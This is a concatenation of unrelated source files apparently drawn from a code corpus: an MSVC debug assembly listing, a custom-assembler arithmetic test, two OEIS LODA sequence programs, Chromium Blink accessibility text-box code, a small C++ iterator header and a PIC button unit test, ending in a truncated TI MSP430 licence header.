mov rax, QWORD PTR [rax]
mov QWORD PTR _Ptr_user$[rbp], rax
; 137 : const uintptr_t _Ptr_container = _Ptr_user[-1];
mov eax, 8
imul rax, rax, -1
mov rcx, QWORD PTR _Ptr_user$[rbp]
mov rax, QWORD PTR [rcx+rax]
mov QWORD PTR _Ptr_container$[rbp], rax
$LN4@Adjust_man:
; 138 :
; 139 : // If the following asserts, it likely means that we are performing
; 140 : // an aligned delete on memory coming from an unaligned allocation.
; 141 : _STL_ASSERT(_Ptr_user[-2] == _Big_allocation_sentinel, "invalid argument");
mov eax, 8
imul rax, rax, -2
mov rcx, QWORD PTR _Ptr_user$[rbp]
mov rdx, -361700864190383366 ; fafafafafafafafaH
cmp QWORD PTR [rcx+rax], rdx
jne SHORT $LN14@Adjust_man
jmp SHORT $LN15@Adjust_man
$LN14@Adjust_man:
$LN7@Adjust_man:
mov eax, DWORD PTR ?__LINE__Var@?0??_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z@4JA
add eax, 9
lea rcx, OFFSET FLAT:??_C@_0BB@FCMFBGOM@invalid?5argument@
mov QWORD PTR [rsp+40], rcx
lea rcx, OFFSET FLAT:??_C@_02DKCKIIND@?$CFs@
mov QWORD PTR [rsp+32], rcx
xor r9d, r9d
mov r8d, eax
lea rdx, OFFSET FLAT:??_C@_0GI@CLKHGMEI@C?3?2Program?5Files?5?$CIx86?$CJ?2Microsof@
mov ecx, 2
call QWORD PTR __imp__CrtDbgReport
cmp eax, 1
jne SHORT $LN19@Adjust_man
int 3
xor eax, eax
$LN19@Adjust_man:
mov eax, DWORD PTR ?__LINE__Var@?0??_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z@4JA
add eax, 9
mov QWORD PTR [rsp+32], 0
mov r9d, eax
lea r8, OFFSET FLAT:??_C@_1NA@PDNNFCLD@?$AAC?$AA?3?$AA?2?$AAP?$AAr?$AAo?$AAg?$AAr?$AAa?$AAm?$AA?5?$AAF?$AAi?$AAl?$AAe@
lea rdx, OFFSET FLAT:??_C@_1EK@NIFDJFDG@?$AAs?$AAt?$AAd?$AA?3?$AA?3?$AA_?$AAA?$AAd?$AAj?$AAu?$AAs?$AAt?$AA_?$AAm?$AAa@
lea rcx, OFFSET FLAT:??_C@_1CG@JNLFBNGN@?$AA?$CC?$AAi?$AAn?$AAv?$AAa?$AAl?$AAi?$AAd?$AA?5?$AAa?$AAr?$AAg?$AAu?$AAm?$AAe@
call QWORD PTR __imp__invalid_parameter
xor eax, eax
test eax, eax
jne SHORT $LN7@Adjust_man
$LN15@Adjust_man:
xor eax, eax
test eax, eax
jne $LN4@Adjust_man
; 142 :
; 143 : // Extra paranoia on aligned allocation/deallocation; ensure _Ptr_container is
; 144 : // in range [_Min_back_shift, _Non_user_size]
; 145 : #ifdef _DEBUG
; 146 : constexpr uintptr_t _Min_back_shift = 2 * sizeof(void*);
mov QWORD PTR _Min_back_shift$[rbp], 16
; 147 : #else // ^^^ _DEBUG ^^^ // vvv !_DEBUG vvv
; 148 : constexpr uintptr_t _Min_back_shift = sizeof(void*);
; 149 : #endif // _DEBUG
; 150 : const uintptr_t _Back_shift = reinterpret_cast<uintptr_t>(_Ptr) - _Ptr_container;
mov rax, QWORD PTR _Ptr$[rbp]
mov rcx, QWORD PTR _Ptr_container$[rbp]
mov rax, QWORD PTR [rax]
sub rax, rcx
mov QWORD PTR _Back_shift$[rbp], rax
$LN10@Adjust_man:
; 151 : _STL_VERIFY(_Back_shift >= _Min_back_shift && _Back_shift <= _Non_user_size, "invalid argument");
cmp QWORD PTR _Back_shift$[rbp], 16
jb SHORT $LN16@Adjust_man
cmp QWORD PTR _Back_shift$[rbp], 47 ; 0000002fH
ja SHORT $LN16@Adjust_man
jmp SHORT $LN17@Adjust_man
$LN16@Adjust_man:
$LN13@Adjust_man:
mov eax, DWORD PTR ?__LINE__Var@?0??_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z@4JA
add eax, 19
lea rcx, OFFSET FLAT:??_C@_0BB@FCMFBGOM@invalid?5argument@
mov QWORD PTR [rsp+40], rcx
lea rcx, OFFSET FLAT:??_C@_02DKCKIIND@?$CFs@
mov QWORD PTR [rsp+32], rcx
xor r9d, r9d
mov r8d, eax
lea rdx, OFFSET FLAT:??_C@_0GI@CLKHGMEI@C?3?2Program?5Files?5?$CIx86?$CJ?2Microsof@
mov ecx, 2
call QWORD PTR __imp__CrtDbgReport
cmp eax, 1
jne SHORT $LN20@Adjust_man
int 3
xor eax, eax
$LN20@Adjust_man:
mov eax, DWORD PTR ?__LINE__Var@?0??_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z@4JA
add eax, 19
mov QWORD PTR [rsp+32], 0
mov r9d, eax
lea r8, OFFSET FLAT:??_C@_1NA@PDNNFCLD@?$AAC?$AA?3?$AA?2?$AAP?$AAr?$AAo?$AAg?$AAr?$AAa?$AAm?$AA?5?$AAF?$AAi?$AAl?$AAe@
lea rdx, OFFSET FLAT:??_C@_1EK@NIFDJFDG@?$AAs?$AAt?$AAd?$AA?3?$AA?3?$AA_?$AAA?$AAd?$AAj?$AAu?$AAs?$AAt?$AA_?$AAm?$AAa@
lea rcx, OFFSET FLAT:??_C@_1CG@JNLFBNGN@?$AA?$CC?$AAi?$AAn?$AAv?$AAa?$AAl?$AAi?$AAd?$AA?5?$AAa?$AAr?$AAg?$AAu?$AAm?$AAe@
call QWORD PTR __imp__invalid_parameter
xor eax, eax
test eax, eax
jne SHORT $LN13@Adjust_man
$LN17@Adjust_man:
xor eax, eax
test eax, eax
jne $LN10@Adjust_man
; 152 : _Ptr = reinterpret_cast<void*>(_Ptr_container);
mov rax, QWORD PTR _Ptr$[rbp]
mov rcx, QWORD PTR _Ptr_container$[rbp]
mov QWORD PTR [rax], rcx
; 153 : }
lea rsp, QWORD PTR [rbp+328]
pop rdi
pop rbp
ret 0
?_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z ENDP ; std::_Adjust_manually_vector_aligned
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Users\danhp\Documents\GitHub\CPSC-462-GROUP-2\C++ Development Root\SourceCode\Domain\Event\EventHandler.cpp
; COMDAT ?__empty_global_delete@@YAXPEAX_KW4align_val_t@std@@@Z
_TEXT SEGMENT
__formal$ = 224
__formal$ = 232
__formal$ = 240
?__empty_global_delete@@YAXPEAX_KW4align_val_t@std@@@Z PROC ; __empty_global_delete, COMDAT
$LN3:
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__28D8CDA7_EventHandler@cpp
call __CheckForDebuggerJustMyCode
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?__empty_global_delete@@YAXPEAX_KW4align_val_t@std@@@Z ENDP ; __empty_global_delete
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Users\danhp\Documents\GitHub\CPSC-462-GROUP-2\C++ Development Root\SourceCode\Domain\Event\EventHandler.cpp
; COMDAT ?__empty_global_delete@@YAXPEAXW4align_val_t@std@@@Z
_TEXT SEGMENT
__formal$ = 224
__formal$ = 232
?__empty_global_delete@@YAXPEAXW4align_val_t@std@@@Z PROC ; __empty_global_delete, COMDAT
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__28D8CDA7_EventHandler@cpp
call __CheckForDebuggerJustMyCode
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?__empty_global_delete@@YAXPEAXW4align_val_t@std@@@Z ENDP ; __empty_global_delete
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Users\danhp\Documents\GitHub\CPSC-462-GROUP-2\C++ Development Root\SourceCode\Domain\Event\EventHandler.cpp
; COMDAT ?__empty_global_delete@@YAXPEAX_K@Z
_TEXT SEGMENT
__formal$ = 224
__formal$ = 232
?__empty_global_delete@@YAXPEAX_K@Z PROC ; __empty_global_delete, COMDAT
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__28D8CDA7_EventHandler@cpp
call __CheckForDebuggerJustMyCode
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?__empty_global_delete@@YAXPEAX_K@Z ENDP ; __empty_global_delete
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Users\danhp\Documents\GitHub\CPSC-462-GROUP-2\C++ Development Root\SourceCode\Domain\Event\EventHandler.cpp
; COMDAT ?__empty_global_delete@@YAXPEAX@Z
_TEXT SEGMENT
__formal$ = 224
?__empty_global_delete@@YAXPEAX@Z PROC ; __empty_global_delete, COMDAT
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__28D8CDA7_EventHandler@cpp
call __CheckForDebuggerJustMyCode
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?__empty_global_delete@@YAXPEAX@Z ENDP ; __empty_global_delete
_TEXT ENDS
END
|
.686
.model flat
.xmm
.code
_test proc
create_stack_frame
mov dword90,2
mov dword91,3
mov dword92,4
mov dword11,dword91
xor_edx_edx dword12
div dword11,dword90
mov dword15,dword91
xor_edx_edx dword16
div dword15,dword90
mul dword11,dword15
mov dword19,5
xor_edx_edx dword20
div dword19,dword92
mov dword23,5
xor_edx_edx dword24
div dword23,dword92
mul dword19,dword23
add dword11,dword19
cmp dword11,2
je label0000
mov dword28,1
set_retval dword28
destroy_stack_frame
ret
label0000:
mov dword31,dword92
xor_edx_edx dword32
div dword31,dword90
cmp dword31,2
je label0001
mov dword35,2
set_retval dword35
destroy_stack_frame
ret
label0001:
mov dword38,5
xor_edx_edx dword39
div dword38,dword91
cmp dword39,2
je label0002
mov dword42,3
set_retval dword42
destroy_stack_frame
ret
label0002:
mov dword45,dword90
mul dword45,dword91
cmp dword45,6
je label0003
mov dword49,4
set_retval dword49
destroy_stack_frame
ret
label0003:
mov dword55,dword90
mul dword55,dword91
cmp dword55,6
je label0004
mov dword58,5
set_retval dword58
destroy_stack_frame
ret
label0004:
mov dword91,65536
mov dword65,65536
mul dword65,dword91
cmp dword65,0
je label0005
mov dword67,6
set_retval dword67
destroy_stack_frame
ret
label0005:
mov dword90,2
mov dword78,3
xor_edx_edx dword79
div dword78,dword90
mov dword82,4
xor_edx_edx dword83
div dword82,dword90
mul dword78,dword82
cmp dword78,2
je label0006
mov dword87,7
set_retval dword87
destroy_stack_frame
ret
label0006:
mov dword88,0
set_retval dword88
destroy_stack_frame
ret
_test endp
end
|
; A134504: a(n) = Fibonacci(7n + 6).
; 8,233,6765,196418,5702887,165580141,4807526976,139583862445,4052739537881,117669030460994,3416454622906707,99194853094755497,2880067194370816120,83621143489848422977,2427893228399975082453
mul $0,7
mov $1,5
mov $2,8
lpb $0
sub $0,2
add $1,$2
add $2,$1
lpe
lpb $0
div $0,4
add $2,$1
lpe
mov $0,$2
|
; A113531: a(n) = 1 + 2*n + 3*n^2 + 4*n^3 + 5*n^4 + 6*n^5.
; 1,21,321,2005,7737,22461,54121,114381,219345,390277,654321,1045221,1604041,2379885,3430617,4823581,6636321,8957301,11886625,15536757,20033241,25515421,32137161,40067565,49491697,60611301,73645521,88831621,106425705,126703437,149960761,176514621,206703681,240889045,279454977,322809621,371385721,425641341,486060585,553154317,627460881,709546821,800007601,899468325,1008584457,1128042541,1258560921,1400890461,1555815265,1724153397,1906757601,2104516021,2318352921,2549229405,2798144137,3066134061,3354275121,3663682981,3995513745,4350964677,4731274921,5137726221,5571643641,6034396285,6527398017,7052108181,7610032321,8202722901,8831780025,9498852157,10205636841,10953881421,11745383761,12581992965,13465610097,14398188901,15381736521,16418314221,17510038105,18659079837,19867667361,21138085621,22472677281,23873843445,25344044377,26885800221,28501691721,30194360941,31966511985,33820911717,35760390481,37787842821,39906228201,42118571725,44427964857,46837566141,49350601921,51970367061,54700225665,57543611797,60504030201,63585057021,66790340521,70123601805,73588635537,77189310661,80929571121,84813436581,88845003145,93028444077,97368010521,101868032221,106532918241,111367157685,116375320417,121562057781,126932103321,132490273501,138241468425,144190672557,150342955441,156703472421,163277465361,170070263365,177087283497,184334031501,191816102521,199539181821,207509045505,215731561237,224212688961,232958481621,241975085881,251268742845,260845788777,270712655821,280875872721,291342065541,302117958385,313210374117,324626235081,336372563821,348456483801,360885220125,373666100257,386806554741,400314117921,414196428661,428461231065,443116375197,458169817801,473629623021,489503963121,505801119205,522529481937,539697552261,557313942121,575387375181,593926687545,612940828477,632438861121,652429963221,672923427841,693928664085,715455197817,737512672381,760110849321,783259609101,806968951825,831248997957,856109989041,881562288421,907616381961,934282878765,961572511897,989496139101,1018064743521,1047289434421,1077181447905,1107752147637,1139013025561,1170975702621,1203651929481,1237053587245,1271192688177,1306081376421,1341731928721,1378156755141,1415368399785,1453379541517,1492202994681,1531851709821,1572338774401,1613677413525,1655880990657,1698963008341,1742937108921,1787817075261,1833616831465,1880350443597,1928032120401,1976676214021,2026297220721,2076909781605,2128528683337,2181168858861,2234845388121,2289573498781,2345368566945,2402246117877,2460221826721,2519311519221,2579531172441,2640896915485,2703425030217,2767131951981,2832034270321,2898148729701,2965492230225,3034081828357,3103934737641,3175068329421,3247500133561,3321247839165,3396329295297,3472762511701,3550565659521,3629757072021,3710355245305,3792378839037,3875846677161,3960777748621,4047191208081,4135106376645,4224542742577,4315519962021,4408057859721,4502176429741,4597895836185,4695236413917,4794218669281,4894863280821,4997191100001,5101223151925,5206980636057,5314484926941,5423757574921,5534820306861,5647695026865,5762403816997
mov $1,$0
mul $1,2
add $1,1
mov $3,$0
mov $4,$0
mov $6,$0
lpb $3
sub $3,1
add $5,$6
lpe
mov $2,3
mov $6,$5
lpb $2
add $1,$6
sub $2,1
lpe
mov $3,$4
mov $5,0
lpb $3
sub $3,1
add $5,$6
lpe
mov $2,4
mov $6,$5
lpb $2
add $1,$6
sub $2,1
lpe
mov $3,$4
mov $5,0
lpb $3
sub $3,1
add $5,$6
lpe
mov $2,5
mov $6,$5
lpb $2
add $1,$6
sub $2,1
lpe
mov $3,$4
mov $5,0
lpb $3
sub $3,1
add $5,$6
lpe
mov $2,6
mov $6,$5
lpb $2
add $1,$6
sub $2,1
lpe
|
/*
* Copyright (C) 2013 Google Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Google Inc. nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "third_party/blink/renderer/core/layout/line/abstract_inline_text_box.h"
#include "third_party/blink/renderer/core/accessibility/ax_object_cache.h"
#include "third_party/blink/renderer/core/editing/ephemeral_range.h"
#include "third_party/blink/renderer/core/layout/ng/inline/ng_inline_node.h"
#include "third_party/blink/renderer/core/layout/ng/inline/ng_offset_mapping.h"
#include "third_party/blink/renderer/platform/text/text_break_iterator.h"
#include "third_party/blink/renderer/platform/wtf/text/unicode.h"
namespace blink {
AbstractInlineTextBox::AbstractInlineTextBox(LineLayoutText line_layout_item)
: line_layout_item_(line_layout_item) {}
AbstractInlineTextBox::~AbstractInlineTextBox() {
DCHECK(!line_layout_item_);
}
LayoutText* AbstractInlineTextBox::GetFirstLetterPseudoLayoutText() const {
// We only want to apply the first letter to the first inline text box
// for a LayoutObject.
if (!IsFirst())
return nullptr;
Node* node = GetLineLayoutItem().GetNode();
if (!node)
return nullptr;
LayoutObject* layout_object = node->GetLayoutObject();
if (!layout_object || !layout_object->IsText())
return nullptr;
return ToLayoutText(layout_object)->GetFirstLetterPart();
}
// ----
LegacyAbstractInlineTextBox::InlineToLegacyAbstractInlineTextBoxHashMap*
LegacyAbstractInlineTextBox::g_abstract_inline_text_box_map_ = nullptr;
scoped_refptr<AbstractInlineTextBox> LegacyAbstractInlineTextBox::GetOrCreate(
LineLayoutText line_layout_text,
InlineTextBox* inline_text_box) {
if (!inline_text_box)
return nullptr;
if (!g_abstract_inline_text_box_map_) {
g_abstract_inline_text_box_map_ =
new InlineToLegacyAbstractInlineTextBoxHashMap();
}
InlineToLegacyAbstractInlineTextBoxHashMap::const_iterator it =
g_abstract_inline_text_box_map_->find(inline_text_box);
if (it != g_abstract_inline_text_box_map_->end())
return it->value;
scoped_refptr<AbstractInlineTextBox> obj = base::AdoptRef(
new LegacyAbstractInlineTextBox(line_layout_text, inline_text_box));
g_abstract_inline_text_box_map_->Set(inline_text_box, obj);
return obj;
}
void LegacyAbstractInlineTextBox::WillDestroy(InlineTextBox* inline_text_box) {
if (!g_abstract_inline_text_box_map_)
return;
InlineToLegacyAbstractInlineTextBoxHashMap::const_iterator it =
g_abstract_inline_text_box_map_->find(inline_text_box);
if (it != g_abstract_inline_text_box_map_->end()) {
it->value->Detach();
g_abstract_inline_text_box_map_->erase(inline_text_box);
}
}
LegacyAbstractInlineTextBox::LegacyAbstractInlineTextBox(
LineLayoutText line_layout_item,
InlineTextBox* inline_text_box)
: AbstractInlineTextBox(line_layout_item),
inline_text_box_(inline_text_box) {}
LegacyAbstractInlineTextBox::~LegacyAbstractInlineTextBox() {
DCHECK(!inline_text_box_);
}
void AbstractInlineTextBox::Detach() {
DCHECK(GetLineLayoutItem());
if (Node* node = GetNode()) {
if (AXObjectCache* cache = node->GetDocument().ExistingAXObjectCache())
cache->Remove(this);
}
line_layout_item_ = LineLayoutText(nullptr);
}
void LegacyAbstractInlineTextBox::Detach() {
AbstractInlineTextBox::Detach();
inline_text_box_ = nullptr;
}
scoped_refptr<AbstractInlineTextBox>
LegacyAbstractInlineTextBox::NextInlineTextBox() const {
DCHECK(!inline_text_box_ ||
!inline_text_box_->GetLineLayoutItem().NeedsLayout());
if (!inline_text_box_)
return nullptr;
return GetOrCreate(GetLineLayoutItem(),
inline_text_box_->NextForSameLayoutObject());
}
LayoutRect LegacyAbstractInlineTextBox::LocalBounds() const {
if (!inline_text_box_ || !GetLineLayoutItem())
return LayoutRect();
return inline_text_box_->FrameRect();
}
unsigned LegacyAbstractInlineTextBox::Len() const {
if (!inline_text_box_)
return 0u;
return NeedsTrailingSpace() ? inline_text_box_->Len() + 1
: inline_text_box_->Len();
}
unsigned LegacyAbstractInlineTextBox::TextOffsetInContainer(
unsigned offset) const {
if (!inline_text_box_)
return 0U;
// The start offset of the inline text box returned by
// inline_text_box_->Start() includes the collapsed white-spaces. Here, we
// want the position in the parent node after white-space collapsing.
// NGOffsetMapping can map an offset before whites-spaces are collapsed to the
// offset after white-spaces are collapsed.
unsigned int offset_in_container = inline_text_box_->Start() + offset;
const Position position(GetNode(), offset_in_container);
LayoutBlockFlow* formatting_context =
NGOffsetMapping::GetInlineFormattingContextOf(position);
if (!formatting_context)
return offset_in_container;
// If "formatting_context" is not a Layout NG object, the offset mappings will
// be computed on demand and cached.
const NGOffsetMapping* offset_mapping =
NGInlineNode::GetOffsetMapping(formatting_context);
if (!offset_mapping)
return offset_in_container;
return offset_mapping->GetTextContentOffset(position).value_or(
offset_in_container);
}
AbstractInlineTextBox::Direction LegacyAbstractInlineTextBox::GetDirection()
const {
if (!inline_text_box_ || !GetLineLayoutItem())
return kLeftToRight;
if (GetLineLayoutItem().StyleRef().IsHorizontalWritingMode()) {
return (inline_text_box_->Direction() == TextDirection::kRtl
? kRightToLeft
: kLeftToRight);
}
return (inline_text_box_->Direction() == TextDirection::kRtl ? kBottomToTop
: kTopToBottom);
}
Node* AbstractInlineTextBox::GetNode() const {
if (!GetLineLayoutItem())
return nullptr;
return GetLineLayoutItem().GetNode();
}
void LegacyAbstractInlineTextBox::CharacterWidths(Vector<float>& widths) const {
if (!inline_text_box_)
return;
inline_text_box_->CharacterWidths(widths);
if (NeedsTrailingSpace())
widths.push_back(inline_text_box_->NewlineSpaceWidth());
}
void AbstractInlineTextBox::GetWordBoundaries(
Vector<WordBoundaries>& words) const {
String text = GetText();
if (!text.length())
return;
TextBreakIterator* it = WordBreakIterator(text, 0, text.length());
base::Optional<int> word_start;
for (int offset = 0; offset != kTextBreakDone && offset < int{text.length()};
offset = it->following(offset)) {
// Unlike in ICU's WordBreakIterator, a word boundary is valid only if it is
// before, or immediately preceded by, an alphanumeric character, a series
// of punctuation marks, an underscore or a line break. We therefore need to
// filter the boundaries returned by ICU's WordBreakIterator and return a
// subset of them. For example we should exclude a word boundary that is
// between two space characters, "Hello | there".
// Case 1: A new word should start if |offset| is before an alphanumeric
// character, an underscore or a hard line break
if (WTF::unicode::IsAlphanumeric(text[offset]) ||
text[offset] == kLowLineCharacter ||
text[offset] == kNewlineCharacter ||
text[offset] == kCarriageReturnCharacter) {
// We found a new word start or end. Append the previous word (if it
// exists) to the results, otherwise save this offset as a word start.
if (word_start)
words.emplace_back(*word_start, offset);
word_start = offset;
// Case 2: A new word should start before and end after a series of
// punctuation marks, i.e., Consecutive punctuation marks should be
// accumulated into a single word. For example, "|Hello|+++---|there|".
} else if (WTF::unicode::IsPunct(text[offset])) {
// At beginning of text, or the previous character was a punctuation
// symbol.
if (offset == 0 || !WTF::unicode::IsPunct(text[offset - 1])) {
if (word_start)
words.emplace_back(*word_start, offset);
word_start = offset;
}
continue; // Skip to the end of the punctuation run.
// Case 3: A word should end if |offset| is proceeded by an alphanumeric
// character, a series of punctuation marks, an underscore or a hard line
// break.
} else if (offset > 0) {
UChar prev_character = text[offset - 1];
if (WTF::unicode::IsAlphanumeric(prev_character) ||
WTF::unicode::IsPunct(prev_character) ||
prev_character == kLowLineCharacter ||
prev_character == kNewlineCharacter ||
prev_character == kCarriageReturnCharacter) {
if (word_start) {
words.emplace_back(*word_start, offset);
word_start = base::nullopt;
}
}
}
}
// Case 4: If the character at last |offset| in |text| was an alphanumeric
// character, a punctuation mark, an underscore, or a line break, then it
// would have started a new word. We need to add its corresponding word end
// boundary which should be at |text|'s length.
if (word_start) {
words.emplace_back(*word_start, text.length());
word_start = base::nullopt;
}
}
String LegacyAbstractInlineTextBox::GetText() const {
if (!inline_text_box_ || !GetLineLayoutItem())
return String();
String result = inline_text_box_->GetText();
// Change all whitespace to just a space character, except for
// actual line breaks.
if (!inline_text_box_->IsLineBreak())
result = result.SimplifyWhiteSpace(WTF::kDoNotStripWhiteSpace);
// When the CSS first-letter pseudoselector is used, the LayoutText for the
// first letter is excluded from the accessibility tree, so we need to prepend
// its text here.
if (LayoutText* first_letter = GetFirstLetterPseudoLayoutText()) {
result = first_letter->GetText().SimplifyWhiteSpace() + result;
}
// Insert a space at the end of this if necessary.
if (NeedsTrailingSpace())
return result + " ";
return result;
}
bool LegacyAbstractInlineTextBox::IsFirst() const {
DCHECK(!inline_text_box_ ||
!inline_text_box_->GetLineLayoutItem().NeedsLayout());
return !inline_text_box_ || !inline_text_box_->PrevForSameLayoutObject();
}
bool LegacyAbstractInlineTextBox::IsLast() const {
DCHECK(!inline_text_box_ ||
!inline_text_box_->GetLineLayoutItem().NeedsLayout());
return !inline_text_box_ || !inline_text_box_->NextForSameLayoutObject();
}
scoped_refptr<AbstractInlineTextBox> LegacyAbstractInlineTextBox::NextOnLine()
const {
DCHECK(!inline_text_box_ ||
!inline_text_box_->GetLineLayoutItem().NeedsLayout());
if (!inline_text_box_)
return nullptr;
InlineBox* next = inline_text_box_->NextOnLine();
if (next && next->IsInlineTextBox())
return GetOrCreate(ToInlineTextBox(next)->GetLineLayoutItem(),
ToInlineTextBox(next));
return nullptr;
}
scoped_refptr<AbstractInlineTextBox>
LegacyAbstractInlineTextBox::PreviousOnLine() const {
DCHECK(!inline_text_box_ ||
!inline_text_box_->GetLineLayoutItem().NeedsLayout());
if (!inline_text_box_)
return nullptr;
InlineBox* previous = inline_text_box_->PrevOnLine();
if (previous && previous->IsInlineTextBox())
return GetOrCreate(ToInlineTextBox(previous)->GetLineLayoutItem(),
ToInlineTextBox(previous));
return nullptr;
}
bool LegacyAbstractInlineTextBox::IsLineBreak() const {
DCHECK(!inline_text_box_ ||
!inline_text_box_->GetLineLayoutItem().NeedsLayout());
if (!inline_text_box_)
return false;
return inline_text_box_->IsLineBreak();
}
bool LegacyAbstractInlineTextBox::NeedsTrailingSpace() const {
if (const InlineTextBox* next = inline_text_box_->NextForSameLayoutObject()) {
return next->Start() >
inline_text_box_->Start() + inline_text_box_->Len() &&
inline_text_box_->GetText().length() &&
!inline_text_box_->GetText()
.Right(1)
.ContainsOnlyWhitespaceOrEmpty() &&
next->GetText().length() &&
!next->GetText().Left(1).ContainsOnlyWhitespaceOrEmpty();
}
return false;
}
} // namespace blink
|
#pragma once
#include <cstddef>
#include "view.hpp"
namespace PPmatrix
{
template <typename T>
class static_iterator
{
T value;
public:
constexpr static_iterator(T&& value)
: value(std::move(value))
{}
constexpr static_iterator(const T& value)
: value(value)
{}
constexpr const auto& operator*() const
{
return value;
}
constexpr auto& operator+=(size_t)
{
return *this;
}
constexpr auto& operator-=(size_t)
{
return *this;
}
constexpr auto operator==(const static_iterator<auto>& other) const
{
return value == other.value;
}
};
template <typename T>
constexpr view auto static_view(T&& value)
{
return static_iterator(std::forward<T>(value)) ^ unbounded;
}
}
|
#include "Platform.inc"
#include "FarCalls.inc"
#include "Buttons.inc"
#include "TestFixture.inc"
radix decimal
udata
global initialIocb
initialIocb res 1
InterruptOnChangeTest code
global testArrange
testArrange:
banksel initialIocb
movf initialIocb, W
banksel IOCB
movwf IOCB
testAct:
fcall initialiseButtons
testAssert:
banksel initialIocb
movlw (1 << IOCB5) | (1 << IOCB6)
iorwf initialIocb
.aliasForAssert IOCB, _a
.aliasForAssert initialIocb, _b
.assert "_a == _b, 'IOCB expectation failure.'"
return
end
|
; --COPYRIGHT--,BSD_EX
; Copyright (c) 2012, Texas Instruments Incorporated
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; * Neither the name of Texas Instruments Incorporated nor the names of
; its contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
; THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
; ******************************************************************************
;
; MSP430 CODE EXAMPLE DISCLAIMER
;
; MSP430 code examples are self-contained low-level programs that typically
